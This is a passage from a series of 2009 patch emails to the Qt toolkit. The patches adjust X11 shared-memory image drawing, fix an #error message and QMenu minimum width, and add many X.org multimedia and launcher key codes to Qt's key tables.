-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif
-- 
1.6.2.5

>From bb8255da422470c5012b6b1c4c24eb2afb6804dc Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago.macieira at nokia.com>
Date: Fri, 26 Jun 2009 11:41:45 +0200
Subject: [PATCH 13/18] Restore a section of the file that got removed due to conflict resolution.

Thanks to Kevin Kofler for pointing this out
---
 src/gui/kernel/qapplication_x11.cpp |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp
index 33aec9e..53f020b 100644
--- a/src/gui/kernel/qapplication_x11.cpp
+++ b/src/gui/kernel/qapplication_x11.cpp
@@ -1955,9 +1955,9 @@ void qt_init(QApplicationPrivate *priv, int,
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && (defaultVisual->red_mask == 0xff0000
-                                                     && defaultVisual->green_mask == 0xff00
-                                                     && defaultVisual->blue_mask == 0xff);
+                X11->use_mitshm = defaultVisual->red_mask == 0xff0000
+                                  && defaultVisual->green_mask == 0xff00
+                                  && defaultVisual->blue_mask == 0xff;
             }
         }
 #endif // QT_NO_MITSHM
-- 
1.6.2.5

>From 4b5ae1db24fa1b96f00ef62bd2e1063a8a313e5c Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 27 Jun 2009 14:19:23 +0200
Subject: [PATCH 14/18] Fix #error line not to have a ' as it's not correct

---
 src/3rdparty/webkit/WebCore/DerivedSources.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/3rdparty/webkit/WebCore/DerivedSources.cpp b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
index f698913..aaf8983 100644
--- a/src/3rdparty/webkit/WebCore/DerivedSources.cpp
+++ b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
@@ -334,5 +334,5 @@
 // want StaticConstructors.h to "pollute" all the source files we #include here
 // accidentally, so we'll throw an error whenever any file includes it.
 #ifdef StaticConstructors_h
-#error Don't include any file in DerivedSources.cpp that includes StaticConstructors.h
+#error Do not include any file in DerivedSources.cpp that includes StaticConstructors.h
 #endif
-- 
1.6.2.5

>From 01f26d0756839fbe783c637ca7dec5b7987f7e14 Mon Sep 17 00:00:00 2001
From: Aaron Seigo <aseigo at kde.org>
Date: Mon, 27 Jul 2009 21:46:22 -0600
Subject: [PATCH 15/18] Make QMenu respect the minimum width set

If one sets a minimum width on a QMenu and that size is larger than the
smallest size needed by the large menu item, it ignores the minimum
width and just uses the largest menu item size.

This results in ugly painting artifacts. This currently affects
(at least) the tasks widget in Plasma in KDE4.
---
 src/gui/widgets/qmenu.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp
index 9fbbb04..5d62ea6 100644
--- a/src/gui/widgets/qmenu.cpp
+++ b/src/gui/widgets/qmenu.cpp
@@ -280,7 +280,7 @@ void QMenuPrivate::calcActionRects(QMap<QAction*, QRect> &actionRects, QList<QAc
 
 
         if (!sz.isEmpty()) {
-            max_column_width = qMax(max_column_width, sz.width());
+            max_column_width = qMax(q->minimumWidth(), qMax(max_column_width, sz.width()));
             //wrapping
             if (!scroll &&
                y+sz.height()+vmargin > dh - (q->style()->pixelMetric(QStyle::PM_MenuDesktopFrameWidth, 0, q) * 2)) {
-- 
1.6.2.5

>From 1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a Mon Sep 17 00:00:00 2001
From: Helio Chissini de Castro <helio at kde.org>
Date: Fri, 10 Jul 2009 16:00:13 -0300
Subject: [PATCH 16/18] Fill gap of X.org/XFree multimedia/special/launcher keys
 Qt up to 4.5.x is missing whole setup of multimedia keys already defined by X

---
 src/corelib/global/qnamespace.h   |   97 ++++++++++++-
 src/gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++-------
 src/gui/kernel/qkeysequence.cpp   |  174 +++++++++++++++++------
 3 files changed, 461 insertions(+), 96 deletions(-)

diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 3edbca7..ddf27a8 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -895,12 +895,10 @@ public:
         Key_Dead_Horn           = 0x01001262,
 
         // multimedia/internet keys - ignored by default - see QKeyEvent c'tor
-
         Key_Back  = 0x01000061,
         Key_Forward  = 0x01000062,
         Key_Stop  = 0x01000063,
         Key_Refresh  = 0x01000064,
-
         Key_VolumeDown = 0x01000070,
         Key_VolumeMute  = 0x01000071,
         Key_VolumeUp = 0x01000072,
@@ -909,7 +907,6 @@ public:
         Key_BassDown = 0x01000075,
         Key_TrebleUp = 0x01000076,
         Key_TrebleDown = 0x01000077,
-
         Key_MediaPlay  = 0x01000080,
         Key_MediaStop  = 0x01000081,
         Key_MediaPrevious  = 0x01000082,
@@ -918,13 +915,11 @@ public:
 #endif
         Key_MediaNext  = 0x01000083,
         Key_MediaRecord = 0x01000084,
-
         Key_HomePage  = 0x01000090,
         Key_Favorites  = 0x01000091,
         Key_Search  = 0x01000092,
         Key_Standby = 0x01000093,
         Key_OpenUrl = 0x01000094,
-
         Key_LaunchMail  = 0x010000a0,
         Key_LaunchMedia = 0x010000a1,
         Key_Launch0  = 0x010000a2,
@@ -943,6 +938,98 @@ public:
         Key_LaunchD  = 0x010000af,
         Key_LaunchE  = 0x010000b0,
         Key_LaunchF  = 0x010000b1,
+        Key_MonBrightnessUp = 0x010000b2,
+        Key_MonBrightnessDown = 0x010000b3,
+        Key_KeyboardLightOnOff = 0x010000b4,
+        Key_KeyboardBrightnessUp = 0x010000b5,
+        Key_KeyboardBrightnessDown = 0x010000b6,
+        Key_PowerOff = 0x010000b7,
+        Key_WakeUp = 0x010000b8,
+        Key_Eject = 0x010000b9,
+        Key_ScreenSaver = 0x010000ba,
+        Key_WWW = 0x010000bb,
+        Key_Memo = 0x010000bc,
+        Key_LightBulb = 0x010000bd,
+        Key_Shop = 0x010000be,
+        Key_History = 0x010000bf,
+        Key_AddFavorite = 0x010000c0,
+        Key_HotLinks = 0x010000c1,
+        Key_BrightnessAdjust = 0x010000c2,
+        Key_Finance = 0x010000c3,
+        Key_Community = 0x010000c4,
+        Key_AudioRewind = 0x010000c5,
+        Key_BackForward = 0x010000c6,
+        Key_ApplicationLeft = 0x010000c7,
+        Key_ApplicationRight = 0x010000c8,
+        Key_Book = 0x010000c9,
+        Key_CD = 0x010000ca,
+        Key_Calculator = 0x010000cb,
+        Key_ToDoList = 0x010000cc,
+        Key_ClearGrab = 0x010000cd,
+        Key_Close = 0x010000ce,
+        Key_Copy = 0x010000cf,
+        Key_Cut = 0x010000d0,
+        Key_Display = 0x010000d1,
+        Key_DOS = 0x010000d2,
+        Key_Documents = 0x010000d3,
+        Key_Excel = 0x010000d4,
+        Key_Explorer = 0x010000d5,
+        Key_Game = 0x010000d6,
+        Key_Go = 0x010000d7,
+        Key_iTouch = 0x010000d8,
+        Key_LogOff = 0x010000d9,
+        Key_Market = 0x010000da,
+        Key_Meeting = 0x010000db,
+        Key_MenuKB = 0x010000dc,
+        Key_MenuPB = 0x010000dd,
+        Key_MySites = 0x010000de,
+        Key_News = 0x010000df,
+        Key_OfficeHome = 0x010000e0,
+        Key_Option = 0x010000e1,
+        Key_Paste = 0x010000e2,
+        Key_Phone = 0x010000e3,
+        Key_Calendar = 0x010000e4,
+        Key_Reply = 0x010000e5,
+        Key_Reload = 0x010000e6,
+        Key_RotateWindows = 0x010000e7,
+        Key_RotationPB = 0x010000e8,
+        Key_RotationKB = 0x010000e9,
+        Key_Save = 0x010000ea,
+        Key_Send = 0x010000eb,
+        Key_Spell = 0x010000ec,
+        Key_SplitScreen = 0x010000ed,
+        Key_Support = 0x010000ee,
+        Key_TaskPane = 0x010000ef,
+        Key_Terminal = 0x010000f0,
+        Key_Tools = 0x010000f1,
+        Key_Travel = 0x010000f2,
+        Key_Video = 0x010000f3,
+        Key_Word = 0x010000f4,
+        Key_Xfer = 0x010000f5,
+        Key_ZoomIn = 0x010000f6,
+        Key_ZoomOut = 0x010000f7,
+        Key_Away = 0x010000f8,
+        Key_Messenger = 0x010000f9,
+        Key_WebCam = 0x010000fa,
+        Key_MailForward = 0x010000fb,
+        Key_Pictures = 0x010000fc,
+        Key_Music = 0x010000fd,
+        Key_Battery = 0x010000fe,
+        Key_Bluetooth = 0x010000ff,
+        Key_WLAN = 0x01000100,
+        Key_UWB = 0x01000101,
+        Key_AudioForward = 0x01000102,
+        Key_AudioRepeat = 0x01000103,
+        Key_AudioRandomPlay = 0x01000104,
+        Key_Subtitle = 0x01000105,
+        Key_AudioCycleTrack = 0x01000106,
+        Key_Time = 0x01000107,
+        Key_Hibernate = 0x01000108,
+        Key_View = 0x01000109,
+        Key_TopMenu = 0x0100010a,
+        Key_PowerDown = 0x0100010b,
+        Key_Suspend = 0x0100010c,
+        Key_ContrastAdjust = 0x0100010d,
 
         Key_MediaLast = 0x0100ffff,
 
diff --git a/src/gui/kernel/qkeymapper_x11.cpp b/src/gui/kernel/qkeymapper_x11.cpp
index 98ed61c..f55b491 100644
--- a/src/gui/kernel/qkeymapper_x11.cpp
+++ b/src/gui/kernel/qkeymapper_x11.cpp
@@ -714,47 +714,144 @@ extern bool qt_sm_blockUserInput;
 #define XK_KP_Delete            0xFF9F
 #endif
 
-// the next lines are taken from XFree > 4.0 (X11/XF86keysyms.h), defining some special
+// the next lines are taken on 10/2009 from X.org (X11/XF86keysym.h), defining some special
 // multimedia keys. They are included here as not every system has them.
-#define XF86XK_Standby          0x1008FF10
-#define XF86XK_AudioLowerVolume 0x1008FF11
-#define XF86XK_AudioMute        0x1008FF12
-#define XF86XK_AudioRaiseVolume 0x1008FF13
-#define XF86XK_AudioPlay        0x1008FF14
-#define XF86XK_AudioStop        0x1008FF15
-#define XF86XK_AudioPrev        0x1008FF16
-#define XF86XK_AudioNext        0x1008FF17
-#define XF86XK_HomePage         0x1008FF18
-#define XF86XK_Calculator       0x1008FF1D
-#define XF86XK_Mail             0x1008FF19
-#define XF86XK_Start            0x1008FF1A
-#define XF86XK_Search           0x1008FF1B
-#define XF86XK_AudioRecord      0x1008FF1C
-#define XF86XK_Back             0x1008FF26
-#define XF86XK_Forward          0x1008FF27
-#define XF86XK_Stop             0x1008FF28
-#define XF86XK_Refresh          0x1008FF29
-#define XF86XK_Favorites        0x1008FF30
-#define XF86XK_AudioPause       0x1008FF31
-#define XF86XK_AudioMedia       0x1008FF32
-#define XF86XK_MyComputer       0x1008FF33
-#define XF86XK_OpenURL          0x1008FF38
-#define XF86XK_Launch0          0x1008FF40
-#define XF86XK_Launch1          0x1008FF41
-#define XF86XK_Launch2          0x1008FF42
-#define XF86XK_Launch3          0x1008FF43
-#define XF86XK_Launch4          0x1008FF44
-#define XF86XK_Launch5          0x1008FF45
-#define XF86XK_Launch6          0x1008FF46
-#define XF86XK_Launch7          0x1008FF47
-#define XF86XK_Launch8          0x1008FF48
-#define XF86XK_Launch9          0x1008FF49
-#define XF86XK_LaunchA          0x1008FF4A
-#define XF86XK_LaunchB          0x1008FF4B
-#define XF86XK_LaunchC          0x1008FF4C
-#define XF86XK_LaunchD          0x1008FF4D
-#define XF86XK_LaunchE          0x1008FF4E
-#define XF86XK_LaunchF          0x1008FF4F
+#define XF86XK_MonBrightnessUp     0x1008FF02
+#define XF86XK_MonBrightnessDown   0x1008FF03
+#define XF86XK_KbdLightOnOff       0x1008FF04
+#define XF86XK_KbdBrightnessUp     0x1008FF05
+#define XF86XK_KbdBrightnessDown   0x1008FF06
+#define XF86XK_Standby             0x1008FF10
+#define XF86XK_AudioLowerVolume	   0x1008FF11
+#define XF86XK_AudioMute           0x1008FF12
+#define XF86XK_AudioRaiseVolume    0x1008FF13
+#define XF86XK_AudioPlay           0x1008FF14
+#define XF86XK_AudioStop           0x1008FF15
+#define XF86XK_AudioPrev           0x1008FF16
+#define XF86XK_AudioNext           0x1008FF17
+#define XF86XK_HomePage            0x1008FF18
+#define XF86XK_Mail                0x1008FF19
+#define XF86XK_Start               0x1008FF1A
+#define XF86XK_Search              0x1008FF1B
+#define XF86XK_AudioRecord         0x1008FF1C
+#define XF86XK_Calculator          0x1008FF1D
+#define XF86XK_Memo                0x1008FF1E
+#define XF86XK_ToDoList            0x1008FF1F
+#define XF86XK_Calendar            0x1008FF20
+#define XF86XK_PowerDown           0x1008FF21
+#define XF86XK_ContrastAdjust      0x1008FF22
+#define XF86XK_Back                0x1008FF26
+#define XF86XK_Forward             0x1008FF27
+#define XF86XK_Stop                0x1008FF28
+#define XF86XK_Refresh             0x1008FF29
+#define XF86XK_PowerOff            0x1008FF2A
+#define XF86XK_WakeUp              0x1008FF2B
+#define XF86XK_Eject               0x1008FF2C
+#define XF86XK_ScreenSaver         0x1008FF2D
+#define XF86XK_WWW                 0x1008FF2E
+#define XF86XK_Sleep               0x1008FF2F
+#define XF86XK_Favorites           0x1008FF30
+#define XF86XK_AudioPause          0x1008FF31
+#define XF86XK_AudioMedia          0x1008FF32
+#define XF86XK_MyComputer          0x1008FF33
+#define XF86XK_LightBulb           0x1008FF35
+#define XF86XK_Shop                0x1008FF36
+#define XF86XK_History             0x1008FF37
+#define XF86XK_OpenURL             0x1008FF38
+#define XF86XK_AddFavorite         0x1008FF39
+#define XF86XK_HotLinks            0x1008FF3A
+#define XF86XK_BrightnessAdjust    0x1008FF3B
+#define XF86XK_Finance             0x1008FF3C
+#define XF86XK_Community           0x1008FF3D
+#define XF86XK_AudioRewind         0x1008FF3E
+#define XF86XK_BackForward         0x1008FF3F
+#define XF86XK_Launch0             0x1008FF40
+#define XF86XK_Launch1             0x1008FF41
+#define XF86XK_Launch2             0x1008FF42
+#define XF86XK_Launch3             0x1008FF43
+#define XF86XK_Launch4             0x1008FF44
+#define XF86XK_Launch5             0x1008FF45
+#define XF86XK_Launch6             0x1008FF46
+#define XF86XK_Launch7             0x1008FF47
+#define XF86XK_Launch8             0x1008FF48
+#define XF86XK_Launch9             0x1008FF49
+#define XF86XK_LaunchA             0x1008FF4A
+#define XF86XK_LaunchB             0x1008FF4B
+#define XF86XK_LaunchC             0x1008FF4C
+#define XF86XK_LaunchD             0x1008FF4D
+#define XF86XK_LaunchE             0x1008FF4E
+#define XF86XK_LaunchF             0x1008FF4F
+#define XF86XK_ApplicationLeft     0x1008FF50
+#define XF86XK_ApplicationRight    0x1008FF51
+#define XF86XK_Book                0x1008FF52
+#define XF86XK_CD                  0x1008FF53
+#define XF86XK_Calculater          0x1008FF54
+#define XF86XK_Clear               0x1008FF55
+#define XF86XK_ClearGrab           0x1008FE21
+#define XF86XK_Close               0x1008FF56
+#define XF86XK_Copy                0x1008FF57
+#define XF86XK_Cut                 0x1008FF58
+#define XF86XK_Display             0x1008FF59
+#define XF86XK_DOS                 0x1008FF5A
+#define XF86XK_Documents           0x1008FF5B
+#define XF86XK_Excel               0x1008FF5C
+#define XF86XK_Explorer            0x1008FF5D
+#define XF86XK_Game                0x1008FF5E
+#define XF86XK_Go                  0x1008FF5F
+#define XF86XK_iTouch              0x1008FF60
+#define XF86XK_LogOff              0x1008FF61
+#define XF86XK_Market              0x1008FF62
+#define XF86XK_Meeting             0x1008FF63
+#define XF86XK_MenuKB              0x1008FF65
+#define XF86XK_MenuPB              0x1008FF66
+#define XF86XK_MySites             0x1008FF67
+#define XF86XK_News                0x1008FF69
+#define XF86XK_OfficeHome          0x1008FF6A
+#define XF86XK_Option              0x1008FF6C
+#define XF86XK_Paste               0x1008FF6D
+#define XF86XK_Phone               0x1008FF6E
+#define XF86XK_Reply               0x1008FF72
+#define XF86XK_Reload              0x1008FF73
+#define XF86XK_RotateWindows       0x1008FF74
+#define XF86XK_RotationPB          0x1008FF75
+#define XF86XK_RotationKB          0x1008FF76
+#define XF86XK_Save                0x1008FF77
+#define XF86XK_Send                0x1008FF7B
+#define XF86XK_Spell               0x1008FF7C
+#define XF86XK_SplitScreen         0x1008FF7D
+#define XF86XK_Support             0x1008FF7E
+#define XF86XK_TaskPane            0x1008FF7F
+#define XF86XK_Terminal            0x1008FF80
+#define XF86XK_Tools               0x1008FF81
+#define XF86XK_Travel              0x1008FF82
+#define XF86XK_Video               0x1008FF87
+#define XF86XK_Word                0x1008FF89
+#define XF86XK_Xfer                0x1008FF8A
+#define XF86XK_ZoomIn              0x1008FF8B
+#define XF86XK_ZoomOut             0x1008FF8C
+#define XF86XK_Away                0x1008FF8D
+#define XF86XK_Messenger           0x1008FF8E
+#define XF86XK_WebCam              0x1008FF8F
+#define XF86XK_MailForward         0x1008FF90
+#define XF86XK_Pictures            0x1008FF91
+#define XF86XK_Music               0x1008FF92
+#define XF86XK_Battery             0x1008FF93
+#define XF86XK_Bluetooth           0x1008FF94
+#define XF86XK_WLAN                0x1008FF95
+#define XF86XK_UWB                 0x1008FF96
+#define XF86XK_AudioForward        0x1008FF97
+#define XF86XK_AudioRepeat         0x1008FF98
+#define XF86XK_AudioRandomPlay     0x1008FF99
+#define XF86XK_Subtitle            0x1008FF9A
+#define XF86XK_AudioCycleTrack     0x1008FF9B
+#define XF86XK_Time                0x1008FF9F
+#define XF86XK_Select              0x1008FFA0
+#define XF86XK_View                0x1008FFA1
+#define XF86XK_TopMenu             0x1008FFA2
+#define XF86XK_Suspend             0x1008FFA7
+#define XF86XK_Hibernate           0x1008FFA8
+
+
 // end of XF86keysyms.h
 
 // Special keys used by Qtopia, mapped into the X11 private keypad range.
@@ -942,10 +1039,8 @@ static const unsigned int KeyTbl[] = {
     XK_dead_hook,               Qt::Key_Dead_Hook,
     XK_dead_horn,               Qt::Key_Dead_Horn,
 
-    // Special multimedia keys
-    // currently only tested with MS internet keyboard
-
-    // browsing keys
+    // Special keys from X.org - This include multimedia keys,
+	// wireless/bluetooth/uwb keys, special launcher keys, etc.
     XF86XK_Back,                Qt::Key_Back,
     XF86XK_Forward,             Qt::Key_Forward,
     XF86XK_Stop,                Qt::Key_Stop,
@@ -955,8 +1050,6 @@ static const unsigned int KeyTbl[] = {
     XF86XK_OpenURL,             Qt::Key_OpenUrl,
     XF86XK_HomePage,            Qt::Key_HomePage,
     XF86XK_Search,              Qt::Key_Search,
-
-    // media keys
     XF86XK_AudioLowerVolume,    Qt::Key_VolumeDown,
     XF86XK_AudioMute,           Qt::Key_VolumeMute,
     XF86XK_AudioRaiseVolume,    Qt::Key_VolumeUp,
@@ -965,13 +1058,106 @@ static const unsigned int KeyTbl[] = {
     XF86XK_AudioPrev,           Qt::Key_MediaPrevious,
     XF86XK_AudioNext,           Qt::Key_MediaNext,
     XF86XK_AudioRecord,         Qt::Key_MediaRecord,
-
-    // launch keys
     XF86XK_Mail,                Qt::Key_LaunchMail,
     XF86XK_MyComputer,          Qt::Key_Launch0,
-    XF86XK_Calculator,          Qt::Key_Launch1,
+    XF86XK_Calculator,          Qt::Key_Calculator,
+    XF86XK_Memo,                Qt::Key_Memo,
+    XF86XK_ToDoList,            Qt::Key_ToDoList,
+    XF86XK_Calendar,            Qt::Key_Calendar,
+    XF86XK_PowerDown,           Qt::Key_PowerDown,
+    XF86XK_ContrastAdjust,      Qt::Key_ContrastAdjust,
     XF86XK_Standby,             Qt::Key_Standby,
-
+    XF86XK_MonBrightnessUp,     Qt::Key_MonBrightnessUp,
+    XF86XK_MonBrightnessDown,   Qt::Key_MonBrightnessDown,
+    XF86XK_KbdLightOnOff,       Qt::Key_KeyboardLightOnOff,
+    XF86XK_KbdBrightnessUp,     Qt::Key_KeyboardBrightnessUp,
+    XF86XK_KbdBrightnessDown,   Qt::Key_KeyboardBrightnessDown,
+    XF86XK_PowerOff,            Qt::Key_PowerOff,
+    XF86XK_WakeUp,              Qt::Key_WakeUp,
+    XF86XK_Eject,               Qt::Key_Eject,
+    XF86XK_ScreenSaver,         Qt::Key_ScreenSaver,
+    XF86XK_WWW,                 Qt::Key_WWW,
+    XF86XK_Sleep,               Qt::Key_Sleep,
+    XF86XK_LightBulb,           Qt::Key_LightBulb,
+    XF86XK_Shop,                Qt::Key_Shop,
+    XF86XK_History,             Qt::Key_History,
+    XF86XK_AddFavorite,         Qt::Key_AddFavorite,
+    XF86XK_HotLinks,            Qt::Key_HotLinks,
+    XF86XK_BrightnessAdjust,    Qt::Key_BrightnessAdjust,
+    XF86XK_Finance,             Qt::Key_Finance,
+    XF86XK_Community,           Qt::Key_Community,
+    XF86XK_AudioRewind,         Qt::Key_AudioRewind,
+    XF86XK_BackForward,         Qt::Key_BackForward,
+    XF86XK_ApplicationLeft,     Qt::Key_ApplicationLeft,
+    XF86XK_ApplicationRight,    Qt::Key_ApplicationRight,
+    XF86XK_Book,                Qt::Key_Book,
+    XF86XK_CD,                  Qt::Key_CD,
+    XF86XK_Calculater,          Qt::Key_Calculator,
+    XF86XK_Clear,               Qt::Key_Clear,
+    XF86XK_ClearGrab,           Qt::Key_ClearGrab,
+    XF86XK_Close,               Qt::Key_Close,
+    XF86XK_Copy,                Qt::Key_Copy,
+    XF86XK_Cut,                 Qt::Key_Cut,
+    XF86XK_Display,             Qt::Key_Display,
+    XF86XK_DOS,                 Qt::Key_DOS,
+    XF86XK_Documents,           Qt::Key_Documents,
+    XF86XK_Excel,               Qt::Key_Excel,
+    XF86XK_Explorer,            Qt::Key_Explorer,
+    XF86XK_Game,                Qt::Key_Game,
+    XF86XK_Go,                  Qt::Key_Go,
+    XF86XK_iTouch,              Qt::Key_iTouch,
+    XF86XK_LogOff,              Qt::Key_LogOff,
+    XF86XK_Market,              Qt::Key_Market,
+    XF86XK_Meeting,             Qt::Key_Meeting,
+    XF86XK_MenuKB,              Qt::Key_MenuKB,
+    XF86XK_MenuPB,              Qt::Key_MenuPB,
+    XF86XK_MySites,             Qt::Key_MySites,
+    XF86XK_News,                Qt::Key_News,
+    XF86XK_OfficeHome,          Qt::Key_OfficeHome,
+    XF86XK_Option,              Qt::Key_Option,
+    XF86XK_Paste,               Qt::Key_Paste,
+    XF86XK_Phone,               Qt::Key_Phone,
+    XF86XK_Reply,               Qt::Key_Reply,
+    XF86XK_Reload,              Qt::Key_Reload,
+    XF86XK_RotateWindows,       Qt::Key_RotateWindows,
+    XF86XK_RotationPB,          Qt::Key_RotationPB,
+    XF86XK_RotationKB,          Qt::Key_RotationKB,
+    XF86XK_Save,                Qt::Key_Save,
+    XF86XK_Send,                Qt::Key_Send,
+    XF86XK_Spell,               Qt::Key_Spell,
+    XF86XK_SplitScreen,         Qt::Key_SplitScreen,
+    XF86XK_Support,             Qt::Key_Support,
+    XF86XK_TaskPane,            Qt::Key_TaskPane,
+    XF86XK_Terminal,            Qt::Key_Terminal,
+    XF86XK_Tools,               Qt::Key_Tools,
+    XF86XK_Travel,              Qt::Key_Travel,
+    XF86XK_Video,               Qt::Key_Video,
+    XF86XK_Word,                Qt::Key_Word,
+    XF86XK_Xfer,                Qt::Key_Xfer,
+    XF86XK_ZoomIn,              Qt::Key_ZoomIn,
+    XF86XK_ZoomOut,             Qt::Key_ZoomOut,
+    XF86XK_Away,                Qt::Key_Away,
+    XF86XK_Messenger,           Qt::Key_Messenger,
+    XF86XK_WebCam,              Qt::Key_WebCam,
+    XF86XK_MailForward,         Qt::Key_MailForward,
+    XF86XK_Pictures,            Qt::Key_Pictures,
+    XF86XK_Music,               Qt::Key_Music,
+    XF86XK_Battery,             Qt::Key_Battery,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_WLAN,                Qt::Key_WLAN,
+    XF86XK_UWB,                 Qt::Key_UWB,
+    XF86XK_AudioForward,        Qt::Key_AudioForward,
+    XF86XK_AudioRepeat,         Qt::Key_AudioRepeat,
+    XF86XK_AudioRandomPlay,     Qt::Key_AudioRandomPlay,
+    XF86XK_Subtitle,            Qt::Key_Subtitle,
+    XF86XK_AudioCycleTrack,     Qt::Key_AudioCycleTrack,
+    XF86XK_Time,                Qt::Key_Time,
+    XF86XK_Select,              Qt::Key_Select,
+    XF86XK_View,                Qt::Key_View,
+    XF86XK_TopMenu,             Qt::Key_TopMenu,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_Suspend,             Qt::Key_Suspend,
+    XF86XK_Hibernate,           Qt::Key_Hibernate,
     XF86XK_Launch0,             Qt::Key_Launch2,
     XF86XK_Launch1,             Qt::Key_Launch3,
     XF86XK_Launch2,             Qt::Key_Launch4,
diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..665c058 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -396,47 +396,139 @@ static const struct {
     { Qt::Key_Menu,         QT_TRANSLATE_NOOP("QShortcut", "Menu") },
     { Qt::Key_Help,         QT_TRANSLATE_NOOP("QShortcut", "Help") },
 
-    // Multimedia keys
-    { Qt::Key_Back,         QT_TRANSLATE_NOOP("QShortcut", "Back") },
-    { Qt::Key_Forward,      QT_TRANSLATE_NOOP("QShortcut", "Forward") },
-    { Qt::Key_Stop,         QT_TRANSLATE_NOOP("QShortcut", "Stop") },
-    { Qt::Key_Refresh,      QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
-    { Qt::Key_VolumeDown,   QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
-    { Qt::Key_VolumeMute,   QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
-    { Qt::Key_VolumeUp,     QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
-    { Qt::Key_BassBoost,    QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
-    { Qt::Key_BassUp,       QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
-    { Qt::Key_BassDown,     QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
-    { Qt::Key_TrebleUp,     QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
-    { Qt::Key_TrebleDown,   QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
-    { Qt::Key_MediaPlay,    QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
-    { Qt::Key_MediaStop,    QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
-    { Qt::Key_MediaPrevious,QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
-    { Qt::Key_MediaNext,    QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
-    { Qt::Key_MediaRecord,  QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
-    { Qt::Key_HomePage,     QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
-    { Qt::Key_Favorites,    QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
-    { Qt::Key_Search,       QT_TRANSLATE_NOOP("QShortcut", "Search") },
-    { Qt::Key_Standby,      QT_TRANSLATE_NOOP("QShortcut", "Standby") },
-    { Qt::Key_OpenUrl,      QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
-    { Qt::Key_LaunchMail,   QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
-    { Qt::Key_LaunchMedia,  QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
-    { Qt::Key_Launch0,      QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
-    { Qt::Key_Launch1,      QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
-    { Qt::Key_Launch2,      QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
-    { Qt::Key_Launch3,      QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
-    { Qt::Key_Launch4,      QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
-    { Qt::Key_Launch5,      QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
-    { Qt::Key_Launch6,      QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
-    { Qt::Key_Launch7,      QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
-    { Qt::Key_Launch8,      QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
-    { Qt::Key_Launch9,      QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
-    { Qt::Key_LaunchA,      QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
-    { Qt::Key_LaunchB,      QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
-    { Qt::Key_LaunchC,      QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
-    { Qt::Key_LaunchD,      QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
-    { Qt::Key_LaunchE,      QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
-    { Qt::Key_LaunchF,      QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    // Special keys
+    // Includes multimedia, launcher, lan keys ( bluetooth, wireless )
+    // window navigation
